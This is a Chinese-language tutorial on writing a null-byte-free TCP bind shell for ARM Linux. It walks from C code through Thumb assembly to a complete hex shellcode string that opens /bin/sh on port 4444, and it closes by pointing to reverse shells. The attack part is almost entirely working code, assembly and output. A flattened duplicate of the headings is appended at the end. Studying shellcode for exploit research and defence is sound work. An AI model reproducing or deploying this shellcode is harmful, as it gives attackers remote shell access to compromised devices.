用ARM编写TCP Bind Shell
字数 709 2025-08-05 19:10:02

ARM架构TCP Bind Shell编写教程

1. 概述

本教程详细讲解如何在ARM架构下编写无空字节的TCP绑定(bind) shellcode。通过学习,你将掌握:

  • ARM架构下TCP绑定shell的实现原理
  • 系统调用的使用方式
  • 避免空字节的技术
  • 从C代码到ARM汇编的转换过程

2. 绑定Shell工作原理

绑定Shell的工作流程:

  1. 创建新的TCP套接字
  2. 将套接字绑定到本地端口
  3. 监听传入的连接
  4. 接收传入的连接
  5. 将STDIN、STDOUT和STDERR重定向到客户端套接字
  6. 生成shell

对应的C代码实现:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int host_sockid; // socket文件描述符
int client_sockid; // 客户端文件描述符
struct sockaddr_in hostaddr; // 服务器监听地址

int main() {
    // 创建新的TCP套接字
    host_sockid = socket(PF_INET, SOCK_STREAM, 0);
    
    // 初始化sockaddr结构体用于绑定套接字
    hostaddr.sin_family = AF_INET; // 地址族
    hostaddr.sin_port = htons(4444); // 端口号(网络字节序)
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 监听任意地址
    
    // 绑定套接字到IP/端口
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
    
    // 监听传入连接
    listen(host_sockid, 2);
    
    // 接受传入连接
    client_sockid = accept(host_sockid, NULL, NULL);
    
    // 复制文件描述符
    dup2(client_sockid, 0);
    dup2(client_sockid, 1);
    dup2(client_sockid, 2);
    
    // 执行/bin/sh
    execve("/bin/sh", NULL, NULL);
    
    close(host_sockid);
    return 0;
}

3. 系统调用及参数

3.1 所需系统调用号

#define __NR_socket    (__NR_SYSCALL_BASE+281)
#define __NR_bind      (__NR_SYSCALL_BASE+282)
#define __NR_listen    (__NR_SYSCALL_BASE+284)
#define __NR_accept    (__NR_SYSCALL_BASE+285)
#define __NR_dup2      (__NR_SYSCALL_BASE+63)
#define __NR_execve    (__NR_SYSCALL_BASE+11)

3.2 参数值确定

使用strace跟踪系统调用:

strace -e execve,socket,bind,listen,accept,dup2 ./bind_test

输出示例:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0

4. ARM汇编实现

4.1 切换到Thumb模式

.section .text
.global _start
_start:
    .ARM
    add r3, pc, #1       // 将PC值加1存入r3
    bx r3                // 分支交换到Thumb模式

4.2 创建套接字

.THUMB
    // socket(2, 1, 0)
    mov r0, #2           // PF_INET = 2
    mov r1, #1           // SOCK_STREAM = 1
    sub r2, r2, r2       // IPPROTO_IP = 0
    mov r7, #200         // 系统调用号基值
    add r7, #81          // r7 = 281 (socket)
    svc #1               // 执行系统调用
    mov r4, r0           // 保存host_sockid到r4

4.3 绑定套接字

    // bind(r0, &sockaddr, 16)
    adr r1, struct_addr  // 获取结构体地址
    strb r2, [r1, #1]    // 写入0到AF_INET的第二个字节
    strb r2, [r1, #4]    // 替换IP地址中的1为0
    strb r2, [r1, #5]    // 替换IP地址中的1为0
    strb r2, [r1, #6]    // 替换IP地址中的1为0
    strb r2, [r1, #7]    // 替换IP地址中的1为0
    mov r2, #16          // 结构体长度
    add r7, #1           // r7 = 282 (bind)
    svc #1               // 执行系统调用
    nop

4.4 监听连接

    // listen(sockfd, 0)
    mov r0, r4           // 恢复host_sockid
    mov r1, #2           // 最大连接数
    add r7, #2           // r7 = 284 (listen)
    svc #1               // 执行系统调用

4.5 接受连接

    // accept(sockfd, NULL, NULL)
    mov r0, r4           // 恢复host_sockid
    sub r1, r1, r1       // 清空r1
    sub r2, r2, r2       // 清空r2
    add r7, #1           // r7 = 285 (accept)
    svc #1               // 执行系统调用
    mov r4, r0           // 保存client_sockid到r4

4.6 重定向标准I/O

    // dup2(client_sockid, 0)
    mov r7, #63          // r7 = 63 (dup2)
    mov r0, r4           // client_sockid
    sub r1, r1, r1       // stdin = 0
    svc #1
    
    // dup2(client_sockid, 1)
    mov r0, r4           // client_sockid
    add r1, #1           // stdout = 1
    svc #1
    
    // dup2(client_sockid, 2)
    mov r0, r4           // client_sockid
    add r1, #1           // stderr = 2
    svc #1

4.7 执行shell

    // execve("/bin/sh", 0, 0)
    adr r0, shellcode    // "/bin/sh"字符串地址
    eor r1, r1, r1       // 清空r1
    eor r2, r2, r2       // 清空r2
    strb r2, [r0, #7]    // 写入字符串终止符
    mov r7, #11          // r7 = 11 (execve)
    svc #1
    nop

4.8 数据定义

struct_addr:
    .ascii "\x02\xff"    // AF_INET (0xff将被替换为0)
    .ascii "\x11\x5c"    // 端口号4444
    .byte 1,1,1,1        // IP地址(将被替换为0.0.0.0)

shellcode:
    .ascii "/bin/shX"    // shell路径(X将被替换为0)

5. 编译与测试

5.1 编译

as bind_shell.s -o bind_shell.o
ld -N bind_shell.o -o bind_shell

5.2 测试

运行绑定shell:

./bind_shell

连接测试:

netcat -vv 0.0.0.0 4444

5.3 生成shellcode

objcopy -O binary bind_shell bind_shell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin

生成的shellcode示例:

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

6. 关键点总结

  1. Thumb模式:使用16位指令减少空字节出现概率
  2. 动态修改:使用strb指令在运行时修改代码,避免静态空字节
  3. 系统调用:正确设置系统调用号和参数
  4. 寄存器管理:合理保存和恢复寄存器值
  5. 立即数处理:ARM架构下立即数需要特殊处理,可能需要分步加载

通过本教程,你不仅学会了编写ARM绑定shellcode,还掌握了将高级语言功能转换为汇编代码的系统方法。这些知识同样适用于编写反向shell或其他类型的shellcode。

ARM架构TCP Bind Shell编写教程 1. 概述 本教程详细讲解如何在ARM架构下编写无空字节的TCP绑定(bind) shellcode。通过学习,你将掌握: ARM架构下TCP绑定shell的实现原理 系统调用的使用方式 避免空字节的技术 从C代码到ARM汇编的转换过程 2. 绑定Shell工作原理 绑定Shell的工作流程: 创建新的TCP套接字 将套接字绑定到本地端口 监听传入的连接 接收传入的连接 将STDIN、STDOUT和STDERR重定向到客户端套接字 生成shell 对应的C代码实现: 3. 系统调用及参数 3.1 所需系统调用号 3.2 参数值确定 使用strace跟踪系统调用: 输出示例: 4. ARM汇编实现 4.1 切换到Thumb模式 4.2 创建套接字 4.3 绑定套接字 4.4 监听连接 4.5 接受连接 4.6 重定向标准I/O 4.7 执行shell 4.8 数据定义 5. 编译与测试 5.1 编译 5.2 测试 运行绑定shell: 连接测试: 5.3 生成shellcode 生成的shellcode示例: 6. 关键点总结 Thumb模式 :使用16位指令减少空字节出现概率 动态修改 :使用strb指令在运行时修改代码,避免静态空字节 系统调用 :正确设置系统调用号和参数 寄存器管理 :合理保存和恢复寄存器值 立即数处理 :ARM架构下立即数需要特殊处理,可能需要分步加载 通过本教程,你不仅学会了编写ARM绑定shellcode,还掌握了将高级语言功能转换为汇编代码的系统方法。这些知识同样适用于编写反向shell或其他类型的shellcode。